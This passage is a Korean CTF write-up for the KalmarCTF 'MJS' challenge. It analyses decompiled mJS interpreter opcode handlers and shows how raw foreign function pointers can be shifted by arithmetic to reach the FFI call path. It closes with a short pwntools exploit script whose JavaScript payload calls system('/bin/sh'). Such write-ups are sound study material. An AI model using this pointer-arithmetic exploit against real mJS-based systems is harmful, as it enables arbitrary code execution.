  OP_CONTINUE,     /* ( -- ) */
  OP_SETRETVAL,    /* ( a -- ) */
  OP_EXIT,         /* ( -- ) */
  OP_BCODE_HEADER, /* ( -- ) */
  OP_ARGS,         /* ( -- ) Mark the beginning of function call arguments */
  OP_FOR_IN_NEXT,  /* ( name obj iter_ptr -- name obj iter_ptr_next ) */
  OP_MAX'''.replace(' ','')

str_ = (str_.split(','))
OPCODE = [36, 11, 9, 22, 37, 11, 29, 35]
# OPCODE =[36, 11, 9, 22, 35]
# OPCODE = [36, 11, 10, 23, 11, 9, 11, 9, 22, 24]
for op in OPCODE:
    k=0
    for i in str_:
        if op == k:
            print(i[i.find("OP_"):] + ' = '+ hex(k))
        k+=1
root@ed1ff428eb33 ~/Desktop/Kalmar/MJS - KalmarCTF
 python3 print_opcode.py
OP_BCODE_HEADER = 0x24
OP_PUSH_STR = 0xb
OP_FIND_SCOPE = 0x9
OP_GET = 0x16
OP_ARGS = 0x25
OP_PUSH_STR = 0xb
OP_CALL = 0x1d
OP_EXIT = 0x23
      case 0xBu:
        length = cs_varint_decode_unsafe(&code[i + 1], &llen_4);
        v55 = mjsa;
        v16 = mjs_mk_string(mjsa, (const char *)&code[i + 1 + llen_4], length, 1);
        mjs_push(v55, v16);
        i += length + llen_4;
        goto LABEL_93;

OP_PUSH_STR은 그냥 문자열을 약간의 가공을 해서 스택에 push하는 명령이다.

0xfff700746e697270

뒤에는 그냥 아스키고 앞에 0xfff7을 추가해준다.
길이에 따라 로직이 다르지만, print 문자열에 한에서는 위 값이 push된다.

void __cdecl mjs_push(mjs *mjs, mjs_val_t v)
{
  push_mjs_val(&mjs->stack, v);
}
void __cdecl push_mjs_val(mbuf *m, mjs_val_t v)
{
  mjs_val_t va; // [rsp+0h] [rbp-10h] BYREF
  mbuf *ma; // [rsp+8h] [rbp-8h]

  ma = m;
  va = v;
  mbuf_append(m, &va, 8uLL);
}
size_t __cdecl mbuf_append(mbuf *a, const void *buf, size_t len)
{
  return mbuf_insert(a, a->len, buf, len);
}

OP_FIND_SCOPE는 현재 스코프를 찾는 명령이다.
OP_CREATE 같은 명령을 수행할때, SCOPE에 값이 추가된다.

0xfff1561eb4251558

vm stack에 push 되는 값은 위와 같은 주소값이다.
0xfff1이 마스크? 이고 하위 6바이트가 주소로 쓰인다.

int __cdecl mjs_is_object(mjs_val_t v)
{
  bool v2; // [rsp+1h] [rbp-9h]

  v2 = 1;
  if ( (v & 0xFFFF000000000000LL) != 0xFFF1000000000000LL )
    return (v & 0xFFFF000000000000LL) == 0xFFFC000000000000LL;
  return v2;
}

mjs_is_object 함수가 비교하는 것을 보면, 오브젝트임을 알 수 있다.

int mjs_is_object(mjs_val_t v) {
  return (v & MJS_TAG_MASK) == MJS_TAG_OBJECT ||
         (v & MJS_TAG_MASK) == MJS_TAG_ARRAY;
}

OP_GET은 함수의 주소를 찾을때 사용하는 명령어이다.

	  case 0x16u:
        obj_0 = mjs_pop(mjsa);                  // SCOPE 
        key_1 = mjs_pop(mjsa);                  // ENCODED STR
        val_0 = 0xFFF3000000000000LL;
        if ( !getprop_builtin(mjsa, obj_0, key_1, &val_0) )// NOT PROPERTY BUILTIN
        {
          if ( mjs_is_object(obj_0) )
            val_0 = mjs_get_v_proto(mjsa, obj_0, key_1);// OBJECT -> GET PROTO
          else
            mjs_prepend_errorf(mjsa, MJS_TYPE_ERROR, "type error");
        }
        mjs_push(mjsa, val_0);
        if ( prev_opcode == 9 )
          mjsa->vals.last_getprop_obj = 0xFFF3000000000000LL;
        else
          mjsa->vals.last_getprop_obj = obj_0;
        goto LABEL_93;

그 scope의 object에서 key값으로 값을 찾아서 proto?를 얻어서 vm stack에 push한다.

OP_ARGS는 그냥 인자를 맞춰주는 부분이다.
분석은 안했다.

OP_CALL은 함수를 호출해준다.

      case 0x1Du:
        retval_stack_idx = vtop(&mjsa->arg_stack);
        func_pos = mjs_get_int(mjsa, retval_stack_idx) - 1;
        func = vptr(&mjsa->stack, func_pos);    // get pointer
        mjs_pop_val(&mjsa->arg_stack);
        if ( mjs_is_function(*func) )
        {
          call_stack_push_frame(mjsa, i + bp_0.start_idx, retval_stack_idx);
          off_call = mjs_get_func_addr(*func) - 1;
          bp_0 = *mjs_bcode_part_get_by_offset(mjsa, off_call);
          code = (const uint8_t *)bp_0.data.p;
          i = off_call - bp_0.start_idx;
          *func = 0xFFF3000000000000LL;
        }
        else if ( mjs_is_ffi_sig(*func) )
        {
          call_stack_push_frame(mjsa, i + bp_0.start_idx, retval_stack_idx);
          mjs_ffi_call2(mjsa);
          call_stack_restore_frame(mjsa);
        }
        else if ( mjs_is_foreign(*func) )
        {
          call_stack_push_frame(mjsa, i + bp_0.start_idx, retval_stack_idx);
          ptr = (void (__fastcall *)(mjs *))mjs_get_ptr(mjsa, *func);
          ptr(mjsa);
          call_stack_restore_frame(mjsa);
        }
        else
        {
          mjs_set_errorf(mjsa, MJS_TYPE_ERROR, "calling non-callable");
        }
        goto LABEL_93;

mjs_print는 foreign이다.

int __cdecl mjs_is_foreign(mjs_val_t v)
{
  return (v & 0xFFFF000000000000LL) == 0xFFF2000000000000LL;
}

OP_GET에서 가져온 함수의 주소의 마스크가 0xfff2이기 때문이다.

void *__cdecl mjs_get_ptr(mjs *mjs, mjs_val_t v)
{
  if ( mjs_is_foreign(v) )
    return get_ptr(v);
  else
    return 0LL;
}
void *__cdecl get_ptr(mjs_val_t v)
{
  return (void *)(v & 0xFFFFFFFFFFFFLL);
}

실제로 ptr을 가져올때 마스크는 빼고 본다.
즉 실제 주소를 가져와서 그냥 호출한다.

OP_EXPR은 어떤 변수에 저장할때 있었던 OPCODE이다.
OP_EXPR도 한번 살펴보면, 다음과 같다.

      case 0x18u:
        op = code[i + 1];
        exec_expr(mjsa, op);
        ++i;
void __cdecl exec_expr(mjs *mjs, int op)
{
  mjs_val_t v2; // rax
  mjs_val_t v3; // rax
  mjs_val_t v4; // rax
  int is_truthy; // eax
  mjs_val_t v6; // rax
  mjs_val_t v7; // rax
  mjs_val_t v8; // rax
  int v9; // eax
  mjs_val_t v10; // rax
  int v11; // eax
  mjs_val_t v12; // rax
  mjs_val_t v13; // rax
  mjs_val_t v14; // rax
  mjs_val_t v15; // rax
  mjs_val_t v16; // rax
  mjs_val_t v17; // rax
  mjs_val_t v18; // rax
  mjs_val_t v19; // rax
  mjs_val_t v20; // rax
  mjs_val_t v21; // rax
  mjs_val_t v22; // rax
  mjs_val_t v23; // rax
  mjs_val_t v24; // rax
  mjs_val_t v25; // rax
  mjs_val_t v26; // rax
  mjs_val_t v27; // rax
  mjs_val_t v28; // rax
  mjs_val_t v29; // rax
  const char *v30; // rax
  mjs_val_t v31; // rax
  mjs_val_t v32; // [rsp+18h] [rbp-228h]
  mjs_val_t v; // [rsp+28h] [rbp-218h]
  mjs_val_t v34; // [rsp+38h] [rbp-208h]
  mjs_val_t v35; // [rsp+48h] [rbp-1F8h]
  mjs_val_t v_2; // [rsp+110h] [rbp-130h]
  mjs_val_t key_3; // [rsp+118h] [rbp-128h]
  mjs_val_t obj_3; // [rsp+120h] [rbp-120h]
  mjs_val_t v_1; // [rsp+128h] [rbp-118h]
  mjs_val_t key_2; // [rsp+130h] [rbp-110h]
  mjs_val_t obj_2; // [rsp+138h] [rbp-108h]
  mjs_val_t v1_0; // [rsp+140h] [rbp-100h]
  mjs_val_t key_1; // [rsp+150h] [rbp-F0h]
  mjs_val_t obj_1; // [rsp+158h] [rbp-E8h]
  mjs_val_t v1; // [rsp+160h] [rbp-E0h]
  mjs_val_t key_0; // [rsp+170h] [rbp-D0h]
  mjs_val_t obj_0; // [rsp+178h] [rbp-C8h]
  unsigned int ival; // [rsp+188h] [rbp-B8h]
  int ikey; // [rsp+18Ch] [rbp-B4h]
  mjs_val_t key; // [rsp+190h] [rbp-B0h]
  mjs_val_t obj; // [rsp+198h] [rbp-A8h]
  mjs_val_t val_0; // [rsp+1A0h] [rbp-A0h]
  double a_7; // [rsp+1A8h] [rbp-98h]
  double b_5; // [rsp+1B0h] [rbp-90h]
  double a_6; // [rsp+1B8h] [rbp-88h]
  double b_4; // [rsp+1C0h] [rbp-80h]
  double a_5; // [rsp+1C8h] [rbp-78h]
  double b_3; // [rsp+1D0h] [rbp-70h]
  double a_4; // [rsp+1D8h] [rbp-68h]
  double b_2; // [rsp+1E0h] [rbp-60h]
  mjs_val_t b_1; // [rsp+1E8h] [rbp-58h]
  mjs_val_t a_3; // [rsp+1F0h] [rbp-50h]
  mjs_val_t b_0; // [rsp+1F8h] [rbp-48h]
  mjs_val_t a_2; // [rsp+200h] [rbp-40h]
  double a_1; // [rsp+208h] [rbp-38h]
  mjs_val_t val; // [rsp+210h] [rbp-30h]
  double a_0; // [rsp+218h] [rbp-28h]
  mjs_val_t a; // [rsp+220h] [rbp-20h]
  mjs_val_t b; // [rsp+228h] [rbp-18h]

  switch ( op )
  {
    case 4:
    case 20:
    case 50:
      return;
    case 5:
      val_0 = mjs_pop(mjs);                     // function PTR  -foreign
      obj = mjs_pop(mjs);                       // scope? 
      key = mjs_pop(mjs);                       // key name str
      if ( mjs_is_object(obj) )
      {
        mjs_set_v(mjs, obj, key, val_0);        // set foreign ptr RAW
      }
      else if ( mjs_is_foreign(obj) )
      {
        ikey = mjs_get_int(mjs, key);
        ival = mjs_get_int(mjs, val_0);
        if ( !mjs_is_number(key) )
        {
          mjs_prepend_errorf(mjs, MJS_TYPE_ERROR, "index must be a number");
          mjs_push(mjs, 0xFFF3000000000000LL);
          return;
        }
        if ( mjs_is_number(val_0) && ival < 0x100 )
        {
          *((_BYTE *)mjs_get_ptr(mjs, obj) + ikey) = ival;
        }
        else
        {
          mjs_prepend_errorf(mjs, MJS_TYPE_ERROR, "only number 0 .. 255 can be assigned");
          val_0 = 0xFFF3000000000000LL;
        }
      }
      else
      {
        mjs_prepend_errorf(mjs, MJS_TYPE_ERROR, "unsupported object type");
      }
      mjs_push(mjs, val_0);
      return;
    case 12:
    case 13:
    case 14:
    case 15:
    case 16:
    case 17:
    case 18:
    case 19:
    case 26:
    case 27:
    case 48:
      b = mjs_pop(mjs);
      a = mjs_pop(mjs);
      v2 = do_op(mjs, a, b, op);
      mjs_push(mjs, v2);
      return;
    case 22:
      val = mjs_pop(mjs);
      is_truthy = mjs_is_truthy(mjs, val);
      v6 = mjs_mk_boolean(mjs, is_truthy == 0);
      mjs_push(mjs, v6);
      return;
    case 23:
      v7 = mjs_pop(mjs);
      a_1 = mjs_get_double(mjs, v7);
      v8 = mjs_mk_number(mjs, (double)~(int)a_1);
      mjs_push(mjs, v8);
      return;
    case 24:
      v13 = mjs_pop(mjs);
      b_2 = mjs_get_double(mjs, v13);
      v14 = mjs_pop(mjs);
      a_4 = mjs_get_double(mjs, v14);
      v15 = mjs_mk_boolean(mjs, b_2 > a_4);
      mjs_push(mjs, v15);
      return;
    case 25:
      v16 = mjs_pop(mjs);
      b_3 = mjs_get_double(mjs, v16);
      v17 = mjs_pop(mjs);
      a_5 = mjs_get_double(mjs, v17);
      v18 = mjs_mk_boolean(mjs, a_5 > b_3);
      mjs_push(mjs, v18);
      return;
    case 28:
      obj_2 = mjs_pop(mjs);
      key_2 = mjs_pop(mjs);
      if ( !mjs_is_object(obj_2) || !mjs_is_string(key_2) )
        goto LABEL_32;
      v = mjs_get_v(mjs, obj_2, key_2);
      v27 = mjs_mk_number(mjs, 1.0);
      v_1 = do_op(mjs, v, v27, 14);
      mjs_set_v(mjs, obj_2, key_2, v_1);
      mjs_push(mjs, v_1);
      return;
    case 29:
      obj_3 = mjs_pop(mjs);
      key_3 = mjs_pop(mjs);
      if ( !mjs_is_object(obj_3) || !mjs_is_string(key_3) )
        goto LABEL_28;
      v32 = mjs_get_v(mjs, obj_3, key_3);
      v28 = mjs_mk_number(mjs, 1.0);
      v_2 = do_op(mjs, v32, v28, 13);
      mjs_set_v(mjs, obj_3, key_3, v_2);
      mjs_push(mjs, v_2);
      return;
    case 30:
      op_assign(mjs, 13);
      return;
    case 31:
      op_assign(mjs, 14);
      return;
    case 32:
      op_assign(mjs, 12);
      return;
    case 33:
      op_assign(mjs, 15);
      return;
    case 34:
      op_assign(mjs, 17);
      return;
    case 35:
      op_assign(mjs, 18);
      return;
    case 36:
      op_assign(mjs, 16);
      return;
    case 37:
      op_assign(mjs, 19);
      return;
    case 38:
      mjs_set_errorf(mjs, MJS_NOT_IMPLEMENTED_ERROR, "Use ===, not ==");
      return;
    case 39:
      mjs_set_errorf(mjs, MJS_NOT_IMPLEMENTED_ERROR, "Use !==, not !=");
      return;
    case 40:
      v19 = mjs_pop(mjs);
      b_4 = mjs_get_double(mjs, v19);
      v20 = mjs_pop(mjs);
      a_6 = mjs_get_double(mjs, v20);
      v21 = mjs_mk_boolean(mjs, b_4 >= a_6);
      mjs_push(mjs, v21);
      return;
    case 41:
      v22 = mjs_pop(mjs);
      b_5 = mjs_get_double(mjs, v22);
      v23 = mjs_pop(mjs);
      a_7 = mjs_get_double(mjs, v23);
      v24 = mjs_mk_boolean(mjs, a_7 >= b_5);
      mjs_push(mjs, v24);
      return;
    case 44:
      a_2 = mjs_pop(mjs);
      b_0 = mjs_pop(mjs);
      v9 = check_equal(mjs, a_2, b_0);
      v10 = mjs_mk_boolean(mjs, v9);
      mjs_push(mjs, v10);
      return;
    case 45:
      a_3 = mjs_pop(mjs);
      b_1 = mjs_pop(mjs);
      v11 = check_equal(mjs, a_3, b_1);
      v12 = mjs_mk_boolean(mjs, v11 == 0);
      mjs_push(mjs, v12);
      return;
    case 46:
      op_assign(mjs, 26);
      return;
    case 47:
      op_assign(mjs, 27);
      return;
    case 49:
      op_assign(mjs, 48);
      return;
    case 51:
      v3 = mjs_pop(mjs);
      a_0 = mjs_get_double(mjs, v3);
      v4 = mjs_mk_number(mjs, COERCE_DOUBLE(*(_QWORD *)&a_0 ^ 0x8000000000000000LL));
      mjs_push(mjs, v4);
      return;
    case 52:
      obj_0 = mjs_pop(mjs);
      key_0 = mjs_pop(mjs);
      if ( mjs_is_object(obj_0) && mjs_is_string(key_0) )
      {
        v35 = mjs_get_v(mjs, obj_0, key_0);
        v25 = mjs_mk_number(mjs, 1.0);
        v1 = do_op(mjs, v35, v25, 13);
        mjs_set_v(mjs, obj_0, key_0, v1);
        mjs_push(mjs, v35);
      }
      else
      {
LABEL_28:
        mjs_set_errorf(mjs, MJS_TYPE_ERROR, "invalid operand for ++");
      }
      return;
    case 53:
      obj_1 = mjs_pop(mjs);
      key_1 = mjs_pop(mjs);
      if ( mjs_is_object(obj_1) && mjs_is_string(key_1) )
      {
        v34 = mjs_get_v(mjs, obj_1, key_1);
        v26 = mjs_mk_number(mjs, 1.0);
        v1_0 = do_op(mjs, v34, v26, 14);
        mjs_set_v(mjs, obj_1, key_1, v1_0);
        mjs_push(mjs, v34);
      }
      else
      {
LABEL_32:
        mjs_set_errorf(mjs, MJS_TYPE_ERROR, "invalid operand for --");
      }
      return;
    case 227:
      v29 = mjs_pop(mjs);
      v30 = mjs_typeof(v29);
      v31 = mjs_mk_string(mjs, v30, 0xFFFFFFFFFFFFFFFFLL, 1);
      mjs_push(mjs, v31);
      return;
    default:
      if ( cs_log_print_prefix(LL_ERROR, "src/mjs_exec.c", 431) )
        cs_log_printf("Unknown expr: %d", (unsigned int)op);
      return;
  }
}

scope의 변수에 넣어주는 기능도 수행한다.
나머진 제대로 분석안했다.

Exploitation

파싱할때 ()를 통해서 함수를 호출하는 바이트 코드를 점화할 수 있다.
exec_expr에서 함수 포인터가 위에 마스크를 달고 raw 하게 저장됨을 알 수 있다.
사실 아주 당연한 내용이지만, js 엔진 건드려본적이 없어서 잘 몰랐다.

    case 5:
      val_0 = mjs_pop(mjs);                     // function PTR  -foreign
      obj = mjs_pop(mjs);                       // scope? 
      key = mjs_pop(mjs);                       // key name str
      if ( mjs_is_object(obj) )
      {
        mjs_set_v(mjs, obj, key, val_0);        // set foreign ptr RAW
      }
mjs_err_t __cdecl mjs_set_v(mjs *mjs, mjs_val_t obj, mjs_val_t name, mjs_val_t val)
{
  return mjs_set_internal(mjs, obj, name, 0LL, 0LL, val);
}
mjs_err_t __cdecl mjs_set_internal(
        mjs *mjs,
        mjs_val_t obj,
        mjs_val_t name_v,
        char *name,
        size_t name_len,
        mjs_val_t val)
{
  mjs_object *o; // [rsp+8h] [rbp-58h]
  int need_free; // [rsp+14h] [rbp-4Ch] BYREF
  mjs_property *p; // [rsp+18h] [rbp-48h]
  mjs_err_t rcode; // [rsp+24h] [rbp-3Ch]
  mjs_val_t vala; // [rsp+28h] [rbp-38h]
  size_t name_lena; // [rsp+30h] [rbp-30h] BYREF
  char *namea; // [rsp+38h] [rbp-28h] BYREF
  mjs_val_t name_va; // [rsp+40h] [rbp-20h] BYREF
  mjs_val_t obja; // [rsp+48h] [rbp-18h]
  mjs *mjsa; // [rsp+50h] [rbp-10h]

  mjsa = mjs;
  obja = obj;
  name_va = name_v;
  namea = name;
  name_lena = name_len;
  vala = val;
  rcode = MJS_OK;
  need_free = 0;
  if ( name )
  {
    name_va = 0xFFF3000000000000LL;
  }
  else
  {
    rcode = mjs_to_string(mjsa, &name_va, &namea, &name_lena, &need_free);
    if ( rcode )
      goto clean;
  }
  p = mjs_get_own_property(mjsa, obja, namea, name_lena);
  if ( !p )
  {
    if ( !mjs_is_object(obja) )
      return 2;
    if ( !mjs_is_string(name_va) )
      name_va = mjs_mk_string(mjsa, namea, name_lena, 1);
    p = mjs_mk_property(mjsa, name_va, vala);
    o = get_object_struct(obja);
    p->next = o->properties;
    o->properties = p;
  }
  p->value = vala;
clean:
  if ( need_free )
  {
    free(namea);
    namea = 0LL;
  }
  return rcode;
}
mjs_property *__cdecl mjs_mk_property(mjs *mjs, mjs_val_t name, mjs_val_t value)
{
  mjs_property *result; // rax

  result = new_property(mjs);
  result->next = 0LL;
  result->name = name;
  result->value = value;
  return result;
}

value가 그대로 저장된다.
이걸로 scope에 foreign 함수 포인터를 raw하게 저장시킬 수 있다.
이제 여기서 함수 포인터에 대한 연산을 수행할 수 있다.
do_op 함수의 일부 코드를 보면 왜 가능한지 알 수 있다.

    } else if (mjs_is_foreign(a) || mjs_is_foreign(b)) {
      /*
       * When one of the operands is a pointer, only + and - are supported,
       * and the result is a pointer.
       */
      if (op != TOK_MINUS && op != TOK_PLUS) {
        mjs_prepend_errorf(mjs, MJS_TYPE_ERROR, "invalid operands");
      }
      is_result_ptr = 1;

하나만 foreign pointer를 주고 그냥 상수를 더하면 된다.

  0x5647fc468aec <exec_expr+124>    call   do_op                <do_op>
        rdi: 0x5647fe14f2a0 ◂— 0x0
        rsi: 0xfff25647fc465660
        rdx: 0x403e000000000000
        rcx: 0xd

실제로 연산이 될때 raw 하게 들어가는 것을 볼 수 있다.
do_op에서는 do_arith_op을 호출한다.

static double do_arith_op(double da, double db, int op, bool *resnan) {
  *resnan = false;

  if (isnan(da) || isnan(db)) {
    *resnan = true;
    return 0;
  }
  /* clang-format off */
  switch (op) {
    case TOK_MINUS:   return da - db;
    case TOK_PLUS:    return da + db;
    case TOK_MUL:     return da * db;
    case TOK_DIV:
      if (db != 0) {
        return da / db;
      } else {
        /* TODO(dfrank): add support for Infinity and return it here */
        *resnan = true;
        return 0;
      }
    case TOK_REM:
      /*
       * TODO(dfrank): probably support remainder operation as it is in JS
       * (which works with non-integer divisor).
       */
      db = (int) db;
      if (db != 0) {
        bool neg = false;
        if (da < 0) {
          neg = true;
          da = -da;
        }
        if (db < 0) {
          db = -db;
        }
        da = (double) ((int64_t) da % (int64_t) db);
        if (neg) {
          da = -da;
        }
        return da;
      } else {
        *resnan = true;
        return 0;
      }
    case TOK_AND:     return (double) ((int64_t) da & (int64_t) db);
    case TOK_OR:      return (double) ((int64_t) da | (int64_t) db);
    case TOK_XOR:     return (double) ((int64_t) da ^ (int64_t) db);
    case TOK_LSHIFT:  return (double) ((int64_t) da << (int64_t) db);
    case TOK_RSHIFT:  return (double) ((int64_t) da >> (int64_t) db);
    case TOK_URSHIFT: return (double) ((uint32_t) da >> (uint32_t) db);
  }
  /* clang-format on */
  *resnan = true;
  return 0;
}

그대로 연산이 되는데 상위 2바이트를 침범하면, type confusion?도 가능할 것 같다.
어쨌든 여기서 foreign pointer와 연산이 되면, 다른 함수를 호출할 수 있다.

상위 2바이트만 안건들면 그대로 연산이 되고 0xfff2가 남아서 foreign pointer로 인식되고 OP_CALL로 함수 포인터를 호출할 수 있다.
SCOPE에 그대로 저장되기 때문에 그냥 호출하면 된다.

patch.diff에서 ffi 등록하는 코드를 지웠지만, ffi의 코드는 남아있기 때문에 ffi로 점프하면 된다.

mjs_err_t __cdecl mjs_ffi_call(mjs *mjs)

mjs_ffi_call로 점프해주면 된다.

mjs_ffi_ctype_t __cdecl parse_cval_type(mjs *mjs, const char *s, const char *e)
{
  bool v4; // [rsp+Eh] [rbp-32h]
  bool v5; // [rsp+Fh] [rbp-31h]
  mg_str ms; // [rsp+10h] [rbp-30h] BYREF
  const char *ea; // [rsp+20h] [rbp-20h]
  const char *sa; // [rsp+28h] [rbp-18h]
  mjs *mjsa; // [rsp+30h] [rbp-10h]

  mjsa = mjs;
  sa = s;
  ea = e;
  memset(&ms, 0, sizeof(ms));
  while ( 1 )
  {
    v5 = 0;
    if ( sa < ea )
      v5 = ((*__ctype_b_loc())[*sa] & 0x2000) != 0;
    if ( !v5 )
      break;
    ++sa;
  }
  while ( 1 )
  {
    v4 = 0;
    if ( ea > sa )
      v4 = ((*__ctype_b_loc())[*(ea - 1)] & 0x2000) != 0;
    if ( !v4 )
      break;
    --ea;
  }
  ms.p = sa;
  ms.len = ea - sa;
  if ( !mg_vcmp(&ms, "void") )
    return 0;
  if ( !mg_vcmp(&ms, "userdata") )
    return 1;
  if ( !mg_vcmp(&ms, "int") )
    return 3;
  if ( !mg_vcmp(&ms, "bool") )
    return 4;
  if ( !mg_vcmp(&ms, "double") )
    return 5;
  if ( !mg_vcmp(&ms, "float") )
    return 6;
  if ( !mg_vcmp(&ms, "char*") || !mg_vcmp(&ms, "char *") )
    return 7;
  if ( !mg_vcmp(&ms, "void*") || !mg_vcmp(&ms, "void *") )
    return 8;
  if ( !mg_vcmp(&ms, "struct mg_str") )
    return 10;
  if ( !mg_vcmp(&ms, "struct mg_str *") || !mg_vcmp(&ms, "struct mg_str*") )
    return 9;
  mjs_prepend_errorf(mjsa, MJS_TYPE_ERROR, "failed to parse val type \"%.*s\"", LODWORD(ms.len), ms.p);
  return 11;
}

이거 보고 잘 맞춰서 세팅해준다음에, system /bin/sh를 호출하면 된다.
offset 잘 계산하면 system 주소를 넣어줄 수 있다.

Exploit script

익스플로잇이 되게 화가 난다.

from pwn import * 
off = 0x6ab0
payload = 'let a = print;a+=0x6ab0;a("int system(char*)")("/bin/sh")'
p = process(["./mjs","-e",payload])
p.interactive()